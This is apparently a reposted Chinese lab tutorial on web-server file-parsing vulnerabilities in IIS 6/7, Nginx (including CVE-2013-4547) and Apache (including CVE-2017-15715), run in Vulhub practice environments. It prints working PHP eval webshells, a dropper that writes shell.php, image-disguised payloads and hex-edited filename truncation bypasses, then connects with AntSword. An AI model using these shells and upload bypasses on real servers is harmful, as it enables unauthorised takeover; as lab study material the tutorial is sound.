文件解析漏洞靶场---解析详解

embedded/2025/3/18 20:25:21/

⽂件解析漏洞是由于中间件错误的将任意格式的⽂件解析成⽹⻚可执⾏⽂件,配合⽂件上传漏洞进⾏ GetShell的漏洞!

一、IIS解析漏洞  3个

1. IIS6.X       2个

环境需求:windows2003+iis6

安装windows2003;

安装iis:控制⾯板--添加或删除程序---添加/删除windows组件,点击“应用程序服务器”---勾选所有服务,点击确定,安装完成。 

⽹站路径默认为 c:/inetpub/wwwroot

1.1  目录解析

在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
(1)在iis的⽹站根⽬录新建⼀个名为a.asp的⽂件
(2)在该文件中新建一个1.jpg文件,在记事本打开,写入asp代码语句:<% =now()%>

now()函数,显示当前时间

(3)访问该文件:http://ip/a.asp/1.jpg

发现将1.jpg文件当做asp文件执行了

(4)将1.jpg复制到www目录下,访问,发现未执行   证明存在解析漏洞

1.2   畸形⽂件解析  

在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx

 (1)在网址根目录,写入一个文件2.asp;.jpg     asp代码:<% =now()%>

(2)浏览器访问该文件,发现   asp代码执行

1.3 其他程序扩展名  .asa    .cer    .cdx  等等

asp代码:<% =now()%>     保存文件为test.cer

浏览器访问该文件,发现asp代码仍被执行,存在文件解析漏洞

2.  IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件

环境:使用Windows10的iis服务和其中的CGI+phpStudy4iis

安装phpStudy4iis:

官网下载:Windows版phpstudy下载 - 小皮面板(phpstudy)

注意一定是  phpStudy for IIS版。

解压后,安装这两个exe文件

打开程序后,选择一个php版本,并修改对应版本的php.ini配置文件中:

安装IIS的CGI

2.1.    打开服务phpstudy2016

2.2  点击处理程序映射---找到phpStudy_FastCGI---双击---请求限制,去掉映射的勾选,然后将目录浏览打开:点击右侧的启用

2.3  绑定ip,端口,重启服务phpstudy2016,

2.4  网址根目录下写入一句话木马文件,浏览器访问http://ip:8980,点击shell.jpg

2.5   上一步的url后面加上/.php,文件被执行

 2.6 蚁剑尝试连接,连接成功

二、Nginx解析漏洞    2个

安装docker:yum install docker

安装docker-compose:yum install docker-compose

开启docker服务:systemctl start docker

1. nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

1.1  进⼊以下Vulhub路径并开启容器

cd /nginx/nginx_parsing_vulnerability    //切换至该目录中
docker-compose up -d    //打开靶场环境
docker ps -a

注意:如果 docker-compose up -d执行出现错误error,可能是服务未开启。
输入:systemctl start docker后,再输入: docker-compose up -d

如果出现超时错误,腾讯云无法解决,阿里云的可以使用镜像加速,如何做请参考其他文章,本文不做解释。【因为是借用其他人的靶场练习的】

1.2  浏览器,通过  http://ip:端口/   访问靶场

以80端口为例

1.3  制作图⽚⻢并进⾏上传,获取上传⽂件地址

GIF89a
<?php @eval($_POST['cmd']);?>

1.4 访问上传文件1.jpg

http://ip/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php

1.5  蚁剑连接成功

2.CVE-2013-4547

2.1开启靶场环境,并访问,端口为8080

#启动靶场

cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机⽬录

docker-compose up -d //打开环境

访问靶场:ip:8080

2.2 准备上传的木马文件shell.jpg,上传,进行BP拦截数据包

输入:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

2.3 修改文件名,编码实现截断符

将数据包发送到重放器,修改文件为shell.jpg空格空格.php

在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20
0x20 修改为如下即 0x20 0x00 进⾏发包
上传成功

访问上传的文件

ip/uploadfiles/shell.jpg

拦包,修改如下:由于url会将其编码,需要继续抓包修改 0x20 0x20为 0x20 0x00

2.4   访问/uploadfiles/shell.php

2.5  蚁剑连接木马

三、Apache解析漏洞    2个

1.  apache_parsing

1.1 开启靶场环境,同其他关卡一样   

1.2 写入木马shell.php.jpg,访问靶场  端口为81,上传文件

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

保存为shell.php.jpg文件

1.3  上传成功,直接访问

1.4  蚁剑连接

2.   CVE-2017-15715

2.1 开启靶场环境,访问靶场    上传文件

2.2 在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功

2.3 访问上传的文件,后⾯加上 %0A  解析了php文件   存在漏洞

2.4  蚁剑连接成功


http://www.ppmy.cn/embedded/173668.html

相关文章

Django之旅:第二节--启动运行django

1、确保app已配置完(settings.py文件里面配置&#xff09; INSTALLED_APPS [django.contrib.admin,django.contrib.auth,django.contrib.contenttypes,django.contrib.sessions,django.contrib.messages,django.contrib.staticfiles,app.apps.AppConfig #配置已经注册好的app…

基于Python+SQLite实现(Web)验室设备管理系统

实验室设备管理系统 应用背景 为方便实验室进行设备管理&#xff0c;某大学拟开发实验室设备管理系统 来管理所有实验室里的各种设备。系统可实现管理员登录&#xff0c;查看现有的所有设备&#xff0c; 增加设备等功能。 开发环境 Mac OSPyCharm IDEPython3Flask&#xff…

TK矩阵:提高多账号管理效率的利器

随着TikTok的火爆&#xff0c;越来越多的人开始利用这个平台进行内容创作和社交互动。无论是个人创作者、品牌方&#xff0c;还是营销公司&#xff0c;TikTok都提供了巨大的机会&#xff0c;但同时也带来了运营上的挑战&#xff0c;尤其是在管理多个账户时。每个账号的维护、内…

qt 线程

以下是一个完整的Qt线程池实现示例&#xff0c;结合任务优先级、线程安全、UI交互等高级功能&#xff0c;并包含异常处理机制&#xff1a; cpp // mytask.h #ifndef MYTASK_H #define MYTASK_H#include <QRunnable> #include <QObject> #include <QMutex> #…

三.ffmpeg对yuv的操作

一.windows 1.使用ffmpeg录制mp4视频 #获取音视频设备 ffmpeg -list_devices true -f dshow -i dummy #录制视频 ffmpeg -f dshow -i video"xxxx" -c"v libx264 -pix_fmt yuv420p output.mp4 2.将mp4转换为yuv数据 //-i&#xff1a;输入文件选项&#xff1b…

ngx_http_module_t

定义在 src\http\ngx_http_config.h typedef struct {ngx_int_t (*preconfiguration)(ngx_conf_t *cf);ngx_int_t (*postconfiguration)(ngx_conf_t *cf);void *(*create_main_conf)(ngx_conf_t *cf);char *(*init_main_conf)(ngx_conf_t *cf, void *conf);…

10、基于osg引擎生成热力图高度图实现3D热力图可视化、3D热力图实时更新(带过渡效果)

1、结果 2、完整C代码 #include <sstream> #include <iomanip> #include <iostream> #include <vector> #include <random> #include <cmath> #include <functional> #include <osgViewer/viewer> #include <osgDB/Read…

C++类对象创建全解析:从构造函数到内存管理

目录 对象的创建 对象的创建规则 对象的数据成员初始化 对象所占空间大小 总结 指针数据成员 对象的创建 在之前的 Computer 类中&#xff0c;通过自定义的公共成员函数 setBrand 和 setPrice 实现了对数据成员的初始化。实际上&#xff0c;C 为类提供了一种特殊的成员函…